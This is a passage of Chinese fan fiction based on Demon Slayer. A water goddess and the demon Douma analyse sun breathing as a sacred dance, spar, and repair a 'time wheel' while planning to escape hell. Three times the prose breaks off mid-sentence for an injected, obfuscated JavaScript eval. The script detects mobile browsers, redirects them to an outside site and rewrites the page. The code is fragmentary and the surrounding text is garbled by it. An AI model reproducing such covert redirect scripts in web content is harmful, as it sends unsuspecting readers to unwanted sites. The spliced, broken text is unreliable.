我不懂呼吸法,但日之呼吸的剑技单从表面来看,和黑死牟大人的月之呼吸完全不同。月之呼吸的剑气凛冽浩瀚,攻势凌厉无比,是剑道所能达到的至高境界。然而继国缘一和这少年所使用的剑技,则充满了优美的回旋和流畅的曲线,那些动作怎么看都有些眼熟,就好像…… 就好像一场祭舞。 “神乐舞!”我拍案而起。 就算死去无数次我也仍然记得,荒川神社的那个午后,黑衣的小神子拿着纸扇,在院子里翩然起舞的情景。 当时我还凑了过去,恬不知耻地让他教我,其实只是想跟他说话罢了,但那孩子还真的仔仔细细教了我一通。 后来为了再跟他见面时不丢脸,我整整练了一年的神乐舞,把每个动作都牢记在心。 “这是什么意思,白姬小姐?” 无惨大人的声音将我从回忆中拖了回来。 “他们用的不是剑技,而是神乐舞的动作,大人。” 我坐了下来,尽量清楚地解释道: “这是神社在大祭祀时才使用的舞蹈,一般是由巫女来跳,但又不光是简简单单的舞蹈。神乐舞是与神灵沟通的语言,如果身心都能投入其中,姿势又正确,便能通晓神灵的意志,甚至引导神灵的力量附身。” “这怎么可能…”鬼王有些失神地喃喃道,“他们只不过是人类而已…” “他们也是棋子。”我说,“您是在和他们背后的神灵对抗啊,无惨大人,输了不丢脸。” 72. 无限(5) 这就很容易解释斑纹的事了。我想。 一千年来,神灵以诅咒驱使带有神官血脉的产屋敷一族来贯彻自己的意志,领导人类对抗鬼的侵扰,但无论如何,普通人类的力量都难以与鬼抗衡,于是在战国时代,神灵再次选中了那个名叫继国缘一的男人作为另一枚棋子,让他生来便拥有通透的视野和远超常人的剑术天赋,领悟了“日之呼吸”这种表面上看似剑技、实际为一种神乐舞的“神降”方式,以此引导神灵的力量进入人类的世界,随后,神灵创造了某个时机,促使这位既是剑士、也是神官的男人加入了鬼杀队,将“日之呼吸”改造成其他呼吸法,带给普通的人类。然而,尽管继国缘一的体质看来可以毫无负担地承受来自神灵的力量,普通的人类却做不到这一点。呼吸法修习到一定层次后,神灵之力会使其中的强者转变为类似继国缘一那样的“载体”,这些人的身上就会产生“标记”,即斑纹。拥有了斑纹的人,力量、速度和觉知都将大幅提升,如同被神灵附身一般强大,这种“神降“的现象,以继国缘一为中心传播开来,鬼杀队的战力由此达到了巅峰,但开了斑纹的人纷纷在25岁之前死去,说明“神降”的代价是身体的耗竭。从神灵的角度,这样既能保证人类拥有足够的力量遏制鬼的扩张,又能确保人类中不会出现其他像继国缘一这样的强者,影响因果的平衡或是产生其他不必要的麻烦。 与其说呼吸法是一种提升体质的修行,不如说是将身体转变为合格的“载体”的过程;与其说斑纹是开启超越常人的力量的象征,不如说是神灵给人打的欠条,借来的一切都要用寿命偿还。然而这些被家人的血仇冲昏头脑的人类,对此心甘情愿。我相信即便他们知道自己只是神灵的武器,依然愿意前赴后继地牺牲自己。 童磨说过,明知毫无意义,却还是一条路走到黑,这正是人类最虚无缥缈,也最美妙的地方。 被神灵玩弄于股掌之上的产屋敷一族和鬼杀队,何尝不是这样的存在?复仇,然后死去,这便是他们的命运,在苦海中浮沉的命运。只是我看不到其中有任何美妙可言。 我可以理解他们的心情,如果有人伤害到童磨,十有八九我也会做出可怕的事来,但我清楚地知道这是悲哀而无奈的选择,复仇除了令复仇者本身得到安慰,并没有任何意义,所谓的荣耀和正义,都是人类为了粉饰仇恨而往上涂的金罢了。 恰恰无惨大人和他麾下的鬼都是些不信神的奇葩,压根不懂这里面的门道,就这么输的一败涂地。 但因果之网并非没有空子可钻。正如双六游戏那样,如果掷骰子的人可以控制骰子的点数,就能让事情向着自己想要的方向发展。 鬼王并不糊涂,听完这一切后,他在书房里踱了几个来回,最后问了一句: “白姬小姐,我们的胜算有多大?” 不愧是成功的商人,很会衡量利弊。 “我不知道。”我诚实地说道:“我不想欺骗您,这就是一场赌博,赌的是我们的对手会冒多大的风险介入因果。如果我们这边有足够的筹码,或许可以以此要挟对方,但目前我还看不到这样的筹码。可是无惨大人,我们没有退路,进了无间地狱的鬼,就像进了牢笼的野兽一样,都要忏悔认罪,放下执念,重新蜕变成人类的灵魂去转世,否则就只有一直被囚禁在这里,直到失去自我,沦为这片土地的粮食。而您和您的上弦们,尤其是您,身为鬼之始祖,无论从哪个角度而言,都是神灵们想要彻底抹杀的对象吧。” 无惨大人沉默了片刻,挥挥手道:“你先退下吧,容我想想。” 我鞠躬行礼,然后离开了他的幻境。 无惨大人必定是怕的。他生在平安朝,当时的人们笃信神佛,即便他不信,都已经身在地狱,也由不得他继续傲慢地无视那个看不见的、凌驾于众生之上的世界。 可怜的无惨大人,我想。曾经的他只是想活下去,但神灵为人类安排了死亡,安排了宿命,想要摆脱死亡束缚、打破既定宿命的人,都是世上的“异类“,注定要遭到天罚。 我决定回家一趟,有太多信息需要和童磨共享,以便我们商量出下一步的对策。但在那之前,我还是去见了黑死牟大人,跟他学完了月之呼吸的最后两个剑型:凶变·天满纤月和月虹·孤留月。 虽然我知道这两个剑型我根本用不出来,当他展示出虚哭神去的异形之刃后,我就明白这是专属于他的,独一无二的剑型,世上没有第二个人能学会了,就像空中只有一轮太阳赐福于万物,也只有一轮明月能照亮黑暗。 这位名叫继国严胜的男人并不知道,他已经凭借卓绝的才华和惊人的坚忍,走到了人类和鬼所能抵达的最高处。 “黑死牟大人,能容我问个僭越的问题吗?“ 我跪坐在鬼剑士面前,恭敬地说。 “问。” 他大概也看出我其实学不会几个剑型,但不知为什么,这位严厉的“老师”并没有说什么难听的话。 “会呼吸法的剑士,尤其是柱的话,是不是很难转变成鬼?” 呼吸法是为了让身体成为神灵之力的载体而进行的修行,会呼吸法的剑士,能转变为鬼的几率应该非常低,更别说昔日的月柱已经开了斑纹,这等于是在神灵的载体中强行注入鬼血,我完全无法想象那是怎样非人的折磨。 “实力越是强悍的剑士…化身为鬼的时间也就越长…我当初…用了整整三天。” 三天…吗?黑死牟大人,您一定忍受了巨大的痛苦吧。 “…甚至必须由那位大人…亲自赋予大量血液才行。” “有极少数人…直到最后…也无法化身为鬼。” 上弦之壹用沉缓的声音说道,仿佛在讲述一件遥远的、属于他人的往事。 与我想的一样,会呼吸法的剑士只要扛过了转化,就能比其他人提升的更快,因为他们的身体早已做好了承载更强力量的准备。但一些人的身心,注定会在这极度痛苦的过程中崩溃。 “然而…” 他停顿了一下,终究多说了一句: “即便转变为鬼,我也依然无法…看见他眼中的世界。” 踏过了荆棘血路,却永不见黎明破晓。 我知道黑死牟大人口中的“他”指的是谁,但那个男人,几乎不是严格意义上的人类。 天生的神明载体,真正的神明之子。 可那也是他一奶同胞的兄弟,我对他们之间的事一无所知,此时脱口而出的任何评判,都是失礼的。 “我想讲个简单的故事给您听,黑死牟大人。” 我斟酌了一下词句,说道。 “昔日伊邪那岐命在逃离黄泉后,在日向国的河中沐浴,行祓禊之法。他洗左眼时,眼中生出了天照大御神,洗右眼时则生出了月夜见尊。” “您看,太阳和月亮本是同一位神明所生,他们的地位同样高贵,月亮并非太阳的附属,明月之光对生于暗夜、行于暗夜的存在而言,是比阳光更重要的东西。” “我们每个人生在世上,人也好,鬼也罢,都有自己存在的意义,但这种意义不是他人赋予我们的,而是由我们自己创造的。我生在江户,见过形形色色的人,也见过那些所谓的武士如何堕落成欺压平民的恶人,黑死牟大人是我见过的最伟大的武士,您这四百年中所经历、所成就的一切,都是值得骄傲的,也正是意义本身。” “所以,”我深深的伏下身去,“请您听我一言,放下执念,继续前行吧。“ 后来我一直在想,那天是不是应该清楚明白的告诉他,他追逐了一生的弟弟,其实并不能算作人类,而只是神灵的工具罢了。但那样的话太过伤人,我说不出口。 当两人真正了解了对方的本质,了解了对方所经历的一切,才能正视彼此的存在。我和童磨之间的相处正是遵循了这一点,不管他戴了几层面具,说出的是真话还是谎言,我都选择以最真实的自己来面对他。而他似乎也体会到在我面前没有伪装的必要,基本都是有话直说。 在这场险恶万分的逃狱游戏中,我们是朋友,是眷属,更是同谋,只有配合完美,共同进退,才有一线希望。 满脑子都是继国缘一和那少年挥刀的姿态,不知不觉就走到了离家很近的地方。 说来也怪,不知道什么时候开始,我就自动把这间破旧的阵屋当作是“家”了。事实上我和童磨在人世时都没住过这么破的房子,我在神社里长大,他更是被信徒们当成神明侍奉,结果下了地狱,就连住个破房子都住的心旷神怡。 啧,人果然要学会知足。 离着挺远,就看见有个浑身发着绿光的东西在院墙内外跳来跳去。仔细一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252349|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我才毛骨悚然地发现,那是一头被死灵寄生了的、看不出原本是魔物还是什么灵体的怪物,拉长的身躯上长了六条腿,马一样的细长脖颈上没有头,头的位置是一张长着利齿的大嘴。 那东西个头不小,全身散发着莹绿的光,不知道是多少只死灵聚集而成,但不知为什么在那里跳墙玩,看起来极为诡异,我只感到恐怖又恶心,手按住刀柄,收敛了气息,悄悄靠了过去。 走到近处我才看清,院墙上坐着个晶莹剔透的小号童磨,一边悠哉悠哉地晃着两条小腿,一边拿着把冰做的小扇子,前前后后的挥来挥去,那死灵聚成的怪物,竟然真的跟着它扇子的节奏跳来跳去,还时不时转个圈,活像过去江户街头耍猴戏的。 “童—磨—大—人!” 话音未落,小冰人“咻”的一下就不见了。跳墙的怪物炸碎成一地绿光,迅速潜入了土地中。 在那一刻我仿佛被狛治阁下附体,差点抬脚踹飞院门,最终理智战胜了冲动,想想踢坏了还要修,只能强忍着火气拉开门。 童磨站在檐廊上,笑眯眯地冲我挥挥扇子:“小染回来啦~” 真讨厌,这人怎么老是笑的一脸无辜,瞬间就能让人头脑降温? “那个!”我指着院墙,“那个是怎么回事?“ 鬼眨眨眼:“诶?小染在说什么,我听不懂呢~” “死灵!不要让你的御子在那里玩死灵!”我几乎快被气哭了,“很危险的啊!我不在家的时候童磨大人就不能稍微小心一点吗?“ “就是因为小染不在家,人家才会无聊嘛~”童磨大人抱着双臂,一副死不悔改的嘴脸,“你传回来的记录我都看完啦,谁叫你走的这么慢嘛~” 这家伙明明毫无情感波动,撒娇耍赖狡辩却比谁都在行,肯定是从小被惯坏了! 我,一个神灵,不能跟一只厚颜无耻的鬼计较!不能! “算我败给你了!”我咬牙切齿地说,“整个死灵地狱的地下全是那种东西,万一招来其他的就惹上大麻烦了!死灵没有意识,受到刺激就只知道进攻,要是群集出动,就算天照大御神降临恐怕都要吃亏。我知道童磨大人在血鬼术方面格外有天赋,但你不能什么都拿来玩啊…” “好啦好啦,小染好啰嗦啊~”鬼懒洋洋地打断了我,“要不要一起看日之呼吸的记录?这可是对鬼来说相当珍贵的情报哦~” 我,一个神灵,居然被一只鬼说啰嗦!天理何在?! 众所周知,我是个心平气和与世无争的神。于是闭上嘴,乖乖走到屋子里坐下。就看童磨抖抖扇子召唤出一个小冰人,小冰人有样学样地原地坐下,眼睛里射出两道光来,打在白色的纸门上,上面竟然出现了我用意念传给童磨的记录画面! “这…这是什么血鬼术?”我目瞪口呆地说。 “是跟人类叫做‘电影院‘的地方学的,诶呀,小染肯定不知道,在浅草那边开了一家,很有名哦~”童磨用扇子掩着一脸坏笑,“人家虽然工作很努力,但对有趣的东西也是不会错过的~” “这也太实用了!”我惊叹道,“无惨大人知道你还有这种能力吗?” “那位大人整天沉迷药呀细胞呀什么的,才不关心人家的血鬼术呢。”鬼用略带哀怨的口气说,“以前遇到的猎鬼人使用的战技,我都有这样仔细看过哦,毕竟情报就是金钱嘛~” 我顾不上夸他,就被这神奇的技术吸引了,看起来真的很好玩啊! “好厉害…我也好想去看看啊…那个叫电什么的地方…” 那只鬼夸张的笑了出来:“啊哈哈哈,就知道小染什么都没见过~放心好啦,下次就带你一起去哦~” 胸中有什么东西怦然而动,好像照进了一道叫做“期待”的光。 真奇怪,这个家伙明明自己深陷黑暗的泥沼,却总能在我的心上敲开一道明亮的缝隙。小时候是这样,变成鬼了居然还有这能力。 因为他不经意的一句话,我就会无比期待那个想象中的“未来”。 我认真地看着他,“真的吗?” “诶?”鬼被我盯的有点莫名其妙,“当然是真的啦,看电影而已嘛,又不是什么难办的事。你看看你,那是什么眼神啊,怎么好像要哭了一样呀?” “鬼才哭了呢!”我迅速调整好心情,“工作第一!” 73. 无限(6) 反反复复看了好几遍御子的记录,我把里面的关键逐个讲给童磨听。 “继国缘一的可怕之处在于三点:天生的通透视野,能让无惨大人都无法恢复的刀,以及高速的斩击。日之呼吸本身是一种神乐舞,他和那个姓灶门的少年一定是从中获得了神灵的力量,才能做到如此超出常理的事。” “小染说的前两点,都只是辅助而已。” 童磨握着扇子,罕见地收起了那副不正经的态度,展露出属于上弦之贰的分析能力。 “这位缘一阁下的速度才是最惊人的地方呢,就算是无惨大人,在这么高速的攻击面前也毫无招架之力。同样是日之呼吸,那个男孩子和他比起来,无论是速度、力量还是准确性,就都差得远了。对了,我想起来了,这不是杀了妓夫太郎的那个男孩子嘛,太厉害了,竟然还活着呀?” “看来是这样的,虽然无惨大人说他开了斑纹活不了几年了,但这并不能排除他在死之前把日之呼吸传给其他猎鬼人的可能性。”我说,“这也是我希望童磨大人好好记住他们的招式的原因,如果我们能回到人世,可能还会遇到掌握了日之呼吸的人,而且不知道会不会再出现像继国缘一这样的天才猎鬼人,我不希望你毫无准备的面对敌人。” “单是这个男孩子的话,上弦的水平应该都能应付,妓夫太郎会战败是因为对方人太多啦。但我想这一战之后,鬼杀队应该也剩不下几个人了,呵呵~”童磨笑嘻嘻地说,“我看那几个柱都有了斑纹,只要等上几年,他们自己就会死光啦。其他的人就算不死,应该也伤的不轻,这个男孩子看起来是刚刚掌握日之呼吸,中毒又这么严重,可能来不及寻找合适的继承人哦。” “但那个缘一阁下,真是太可惜了呀。”鬼竟然叹了口气,“他是我见过的最不像人类的人类了,可按小染的话说,更像是被赋予了神灵力量的人偶,我还以为是个多有趣的人呢。” “能被童磨大人说不像人类,那大概真的不是人类吧。”我起身去泡茶,“你觉得如果对上他的话,你多久会被砍头?” “啊啊,谁要去想那么可怕的事呀~” “不会吧?”我笑了出来,“童磨大人原来也有害怕的事吗?不错不错,学会畏惧是了不起的进步,奖励你一杯茶!” “那种速度的斩击,只要是鬼遇上,都会被砍头吧?”童磨捧着茶杯,笑的无比坦然,“况且是鬼都怕太阳,那位缘一阁下的呼吸法,看起来就和太阳的光差不多,这样的话,我的血鬼术也是很难赢的哦~” “我倒觉得未必。他的攻击虽然快,但好像遵循了某种节拍,很多神社的神乐舞都有自己的节拍,这种节拍不能轻易被打乱,否则神灵之力的流动就会受到阻碍。说起来,你…还记得怎么跳吗?“ “那种无聊的东西谁要记啊,”童磨靠在墙上,虹彩的眼睛虽然在笑,却透出显而易见的冷漠,“小时候是因为母亲喜欢才学的,她死了以后就再没跳过了。不过扇舞的话,我跳的很好哦。” “没关系,我还记得。”我站起身来,“我来跳一遍,你帮我看看,这和继国缘一用的剑技相比,在动作和节拍上有没有什么共通之处。” 鬼顿时喜笑颜开地拍拍手:“哇啊,小染要跳舞给我看嘛?真是太棒了,人家最喜欢看可爱的女孩子跳舞啦~” 我无奈地摇摇头,走到院子中间,以刀代替鉾先铃,闭上眼睛回忆了下动作,缓缓踏出了第一步。 舞出第一个节拍后,我就发现,不一样。 “荒之祭”上由巫女跳的祭舞,是水神的祭舞,动作明显要更柔和,和日之呼吸那种势如破竹、充满力量感的姿态相比,可谓遵循了两套完全不同的节拍。 当然,对方的祭舞早就与剑技相融合,这也是原因之一。 慢着,剑技的话,我不是刚刚才学过… 如此想着,我加快了舞蹈的速度。 荒川是一条大河,荒川之神是掌管洪水和降雨的神明。倘若谁以为水的力量是柔弱的,那是因为没见过荒川发怒时的样子。 继国缘一再怎样也是人类,我可是如假包换的神灵。虽不能与高高在上的天照大御神相比,但也是江户城曾供奉百年的水神,我的神乐舞,没道理输给任何人。 而天下水脉的力量是相通的,就连天照大御神,最初也是在水之力量的祓禊中诞生的。 一种特别的感觉充斥着全身,好像回到了许多年前在波涛间纵横嬉戏的时光,那时的我,能在河流中掀起巨浪,也能在高空中呼云唤雨。 是的,那就是我的节拍,荒之祭舞的节拍。 “哇啊,小染在发光耶!跳舞真是太有趣了!人家也要试试嘛~” 还未等我反应过来,一道冰冷的气息就瞬间贴近,我睁开眼睛,正对上童磨笑的有点亢奋的脸。 “呐,小染再快一点吧,否则会被我砍到哦~” 灿金的铁扇夹着刺骨的寒意迎面袭来,我拔刀挥出波浪般的剑气,刃风在扇面上擦出一串破碎的金光。 “不错不错,学有所成呀!”恶鬼的声音更加兴奋,“那我也不客气啦~血鬼术·蔓莲华!” 啊啊啊这个疯子他来真的! 我以一连串快速的斩击挥洒出大片金色的刃风,只慌乱了一瞬间,就又被他抓住破绽贴到了身后。我反身一记横斩逼退他,踩着水流重新找回了神乐的节拍。 “诶呀呀,小染可以跟上我的速度吗?好开心!咱们再来试试别的吧~血鬼术·散莲华·玄冬冰柱!” 这鬼也太可怕了!我边躲闪铺天盖地的莲华之刃和寒冰乱刺,边努力维持着自己挥刀的速度。 黑死牟大人的攻势凌厉,但严格遵循了剑道的规则;继国缘一的日之呼吸可谓神速,但依然有节拍可循。 而童磨大人高兴起来就用血鬼术一通狂轰滥炸,加上瞬间爆发力惊人,身形像鬼魅一样飘忽不定,永远不按套路出牌,简直让人心情崩溃到只想抽他那张笑嘻嘻的脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252350|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊被冰风擦出血花,我沉下心来,踏着他的冰莲一路疾奔向前,在接近时猛的收敛了全部气息,用出了那道不像居合斩的居合斩,自下而上的一字纵劈。 绚丽的金光几乎要划过上弦之贰那张俊俏的脸,他一个柔韧的后仰,竟然堪堪躲开了,嘴里竟然还在喋喋不休:“好乱来的招式啊!哪有反向的居合斩嘛!不过很漂亮哦,人家喜欢~” 我惊魂未定地收回刀:“你没事吧?有没有受伤?” “你那是突然隐藏了气息吗?真是太棒了呀!”那鬼完全没在意方才的险境,两把扇子啪的张开,兴高采烈地说,“和小染一起跳舞很有趣哦!咱们再来一次吧?” 要被他气死了,真的要被他气死了。 我微笑,充满善意地提醒他: “童磨大人,再玩,房子就没了。” “诶?” 他低头看了一眼,满脸惊讶。 “屋顶哪里去啦?” “谁叫你用血鬼术的?!”我咆哮,“屋顶被吹飞了啦!今天你给我住树上!住树上!” 说归说,怎么也不可能真让他住树上。我俩意兴阑珊地回到没了屋顶的房子里,我从一堆掉落的茅草里扒出茶具,吹吹上面的冰渣,换了壶热水。 “你的近身防御真的有问题,连我都能差点砍到你的话,鬼杀队的柱肯定也能。” “小染就不要说我了嘛,你只要一害怕,跳舞就会错哦,刚刚就错了两拍呢。” ——跳的很好啊,就是错了两拍哦,我来演示给您看。 男孩子清亮的声音仿佛响在耳畔,我猛的回过头看着那只鬼。 他悠哉地靠着檐廊的柱子,眼睛像是透明的、映着彩虹的冰。 “你…不是说你不记得神乐舞的跳法了吗?” “骗你的啦。”鬼露出无辜的笑脸,“人家的记性那么好,怎么会忘呢?只是不想跳而已嘛。” “童磨大人竟然也有不想做的事情啊。” 我端着茶具坐在他身边,刚倒了杯茶,却听他笑嘻嘻地说:“母亲死之前,我告诉她了哦。” “告诉她…什么?” “根本就没有极乐净土,我也听不到神明的声音。”童磨的笑容天真又残忍,“所以跳什么舞都是没用的哦。诶呀呀,她看起来相当吃惊,就那么死掉啦。” “……谁说是没用的,我不是神吗?” 我严肃地盯着那只鬼。 “我记得你在我的神社里跳神乐舞的样子,漂亮极了,后来我整整练了一年,就为了能跳的和你一样好。也许就是那次,你成功地召唤了我这个神明呢?” 童磨愣了一下,然后放声大笑起来。 “啊哈哈哈!世上怎么会有小染这么笨的神明嘛!” “世上还有童磨大人这种脑子有病的鬼呢,多我一个笨蛋神明又有什么不行?”我站起身,骄傲地宣布,“神明大人现在要去帮你修屋顶了,下次再把屋子弄坏了,你就自己修。” 74. 无限(7) 浑身升腾着火焰的魔物咆哮了一声,携着炽烈的焚风向我扑来。 我双手持刀,挥出干脆利落的一字斩,金色的光华形成无数道半圆的剑气,瞬间,魔物分崩离析,像一只从高处摔落的木偶般碎了一地。 在灼烫的尸体中,我看到了那颗流转着火焰的红色晶核,于是小心地将其取了出来。然后朝着远处喊了一句: “我第四个了,你找到几个了?” 一阵黑色落雷般的刃风后,浓眉大眼的少年扛着刀,冷着脸从林子里走了出来。 我不禁感慨死灵地狱这莫名其妙的规则,鬼都用不出血鬼术,但鬼剑士能用呼吸法…果然灵魂不同,能使用的力量在下地狱后也不太一样?之前那群鬼杀队的人也都能用呼吸法,这规则也太偏心了… 但这小孩为什么永远摆着一张臭脸?是对谁不满意啊? 他走到我面前,扔给我两颗暗红色的晶体。 “麻烦别人帮忙,都不知道说句谢谢吗?”他嘟囔。 “谢谢小狯岳,辛苦你啦!”我自认为笑的无比和蔼,“也是给你找个练刀的机会嘛,要不你总在那里对着树桩子练,有什么意思啊。” “黑死牟大人不理我,我有什么办法?”狯岳扛着刀,目光暗淡,“大人倒是什么都教给你。” 这孩子什么都好,就是太没安全感。 “那位大人本来就是个沉默寡言的人,你也没主动去求他教你,他当然不理你了。”我看出他在生气,“我还记得剑型,要不我教你?” “不用了,他教你时我看过,我也学不会月之呼吸。”少年冷冷地说,“我算明白了,我在哪都是这副样子,没人喜欢我。” “我觉得你的雷之呼吸用的挺好的啊,速度也变快了。” “有什么用,还不是学不会最基础的壹之型。” “狯岳,”我认真地看着他,“我们没必要事事要求自己做到,人活着,总有做不到的事。” “你不懂,你是个神。”狯岳冷笑,“你要是在街上跟野狗抢过饭,就会发现人没有做不到的事,饿急了什么都干得出来。” “生死关头,的确如此。” 我拿出时轮的碎片依次摆好,他抱着刀站在旁边,皱着眉看我干活。 “你知道你为什么学不会霹雳一闪吗?” “难道你知道?”他嗤笑,“神明大人还真是无所不知。” 这孩子怎么回事,最近说话总这样酸溜溜的。 “我接过早云的那一刀,所以大约有些体会。”我边调整碎片的位置边说,“那一刀需要强烈的‘信念’,无论是守护什么,或是一击必杀地击败什么,要有那种哪怕必死,也要做到的决心,才能用出那一刀。但用出之后,你的身体必定会因为承载了过强的力量而受伤。” “狯岳,你不是个合格的鬼杀队士的原因,是你没有那种必死的信念,不论是强烈的仇恨,还是以身为盾、宁死也要守护他人的心,你都没有。” “我就是不想死!有错吗?”他的语气暴躁起来,“可凭什么那种整天哭哭啼啼的小废物能学会?!我哪点比他差?” “那大概是因为你师弟找到了自己想要走的路吧。有一天你也会找到的,不要急。”我深深看了他一眼,“我要修东西了,你离远些,我怕万一炸了伤到你。” “你…也觉得我这么没用吗?” 他莫名其妙地甩下这么一句,走远了。 当务之急,是尽快修好“时轮”,虽然我不知道它在“门”的开启中到底能发挥多大作用,但既然上面的咒文和产屋敷宅邸下面发现的一样,也许我能试着以自己的灵力直接驱动咒语,看看能有什么效果。 残破的时轮在黑暗中散发着金属特有的幽光,我将第一颗炎魔的晶体摆在了上面,晶体触碰到金属的一刻,红莲般的烈焰轰的燃烧起来。 果然没猜错,这东西能吸收业火的力量。 六颗晶体依次摆放在时轮的六段破损的铭文上,我最后取出一道写着完整咒文的符咒,在空气中轻轻一抖,符咒表面流转开金色的灵光。 ——以神灵之力为始,以神灵之力为终。降服于我的意志,赐予你新的重生。 符咒在时轮中央漂浮着,像片风中的落叶一样旋转起来,脆弱的纸燃烧殆尽,却有金色的咒文浮现在空中。在熊熊业火中,那些文字分作了六段,像一层金色的轻纱,与时轮上的咒文贴合在一起。 在贴合的一瞬间,金属发出了奇异的鸣响,金色光华如水流般在其表面散布开来,青铜的颜色像是被高温吞噬一般缓缓退去,由黄金的光彩取而代之,碎片的边缘开始消融成液体,仿佛有生命的藤蔓一样攀爬着彼此连接。 那一瞬间我看到了万千纵横的金色丝线,在无形中交织成名为“因果”的巨网,无数画面涌入我的意识,人类的,鬼的,神灵的……如此巨量的讯息让我头痛欲裂,但我明白,能熟练掌握这张网、乃至在其中编织出属于自己的篇章,才是名为“神明”的存在。 从看到命运到创造命运,作为年轻的神明,我还有很长的路要走。 时轮在水神之力中获得了新的形态,变得更薄,更轻盈,温度降下来后,它的表面变成了一种奇特的苍蓝,像是我刀刃的颜色。 它在空中缓慢的转动着,像一个诱惑,我心念不禁一动,下一刻,那圆环的中心就出现了熟悉的画面… 褪色的、摇摇欲坠的鸟居,被荒草吞没的石阶向山上绵延,开满各色野花的草丛中倒着几只灯柱,被晒成白色的木头早已朽烂,长出了一簇簇的蘑菇。 眼泪差点掉下来。我的神社,我的荒川神社…这就是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252351|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在人世唯一的眷恋了。 与白姬、与极乐教的小神子一起烟消云散的荒川神社,在我的心中,明明还像两百年前那样鲜活。 鸟居后的参道两侧本来有两列朱红色的献灯,在傍晚时就会亮起,和星月一起照亮通往山上神居的路;神社门前的手水舍中总是用山泉浸着大朵的紫阳花,在阳光下像一场绮丽的梦;山下原本有夜市,人群熙熙攘攘,女孩们捧着用竹叶或柿叶包裹的各色点心,满满的人间烟火气…… 作为神灵,人世之物的成住坏灭应该司空见惯,可我毕竟有着一颗人类的心,看到这样的画面依然会难过。 我其实…是个无家可归的神,不仅早就失去了人类的供奉,我的神社也已经化作了废墟。 明知那只是时轮的投影,我依然伸出手去,想要触碰幻影中的地方,但不出所料,指尖一阵空虚,手穿过了那层水中花般的景象。 ……罢了,人世的一切都太短暂,留不住的终究留不住。 我是荒川的神灵,只要荒川还在,大不了我回水里住着去! 想到这里我就重新打起了精神,然后发现了一个重要的问题: 这时轮修是修好了,但好像除了投影,也没什么别的作用啊? “总而言之就是这样了,我研究了半天,也没弄懂这东西和‘门’有什么关联,难道是我的直觉出问题了?” 我趴在桌上,有点泄气地说。 童磨倒是一副饶有兴致的样子,来来回回拨弄着那只浮在空中、散发着金色灵光的圆环。 “不要急嘛,也许还有其他的线索哦。”他不紧不慢地说,“应该是漏掉了什么关键步骤。” “还能有什么关键步骤?”我坐起来,拼命回忆着当时发生的每一件事,“我们先是解决了那支鬼杀队,之后解决了三名柱,打碎了时轮,进入了产屋敷的宅邸,没说几句话,你就把我骗出去了,然后你杀了产屋敷,还没吃完那屋子就炸了,之后没过多久门就开了…我实在是想不出哪一步才是关键…” 忽然听那只鬼恍然道:“我明白啦!产屋敷一死,屋子下面的符咒才开始起作用,如此说来,恐怕那个产屋敷才是开门的关键呀!” “你倒是早说啊!”我顿时有点挫败,“那个产屋敷已经渣都不剩了,连那些鬼杀队士的灵魂都已经去转世了。我们上哪里找第二个产屋…” 头脑中轰然作响,我猛的抬起头来,发现童磨正好也在看着我,冰晶般的眼睛里映射出某种不属于这个世界般骇人的冷光。 “诶呀呀,小染啊…” 恶鬼微笑起来,露出了雪白的尖牙。 “这可真是太有趣了,咱们还是走到这一步了呀~” 我不由得攥紧了手中的茶杯。 “是啊,童磨大人,游戏…现在才正式开始。” 75. 无限(8) 因果像一只天平,你想要得到一些东西,就必须放下同样多的筹码。 用简单的话说就是,了结来到此处的因,才能获得离开此处的果。那支鬼杀队本不属于地狱,是由产屋敷主公的执念召唤而来,一旦他消失,鬼杀队的灵魂就获得了去转世的机会。 于是我由此推测,死灵地狱最近的异常,是多出了狛治和恋雪这两个本来不属于这里的灵魂。他们被鬼王的强烈执念召唤而来,只有这种执念消失,他们才能得到返回原来界域的机会。 但他们的灵体是人类,不是鬼。 如果由此开启的“门”依然不允许鬼通过,我们所做的一切就毫无意义。 这实在是一场疯狂的赌局,大概只有童磨这种完全不懂畏惧为何物的疯子,才敢跟我一起赌上性命挑战天道。 “白姬小姐,你刚刚说你这次见我的目的是什么?” 面前男人柔和的嗓音将我的思绪拉了回来,我抬起头,对上一双红梅般妖娆的眼眸。 “我想了解一件事,可能还需要对您做一次袚禊。” “什么事?” “您为什么会变成鬼?” 鬼王面无表情地看着我,苍白到近乎透明的指尖轻轻敲着桌面,“这个问题有什么回溯的必要?你不是已经知道了么。” “那件事充满了可疑之处,您不觉得吗?”我思索道,“为什么一位人类医师的药,只是少了关键的一味,就能完全改变您的体质,使您变成和人类不同的另一种存在?即便在平安朝那种时候,这也太古怪了吧?您自己研究药学多年,不是也没有找到此事的原因吗?” 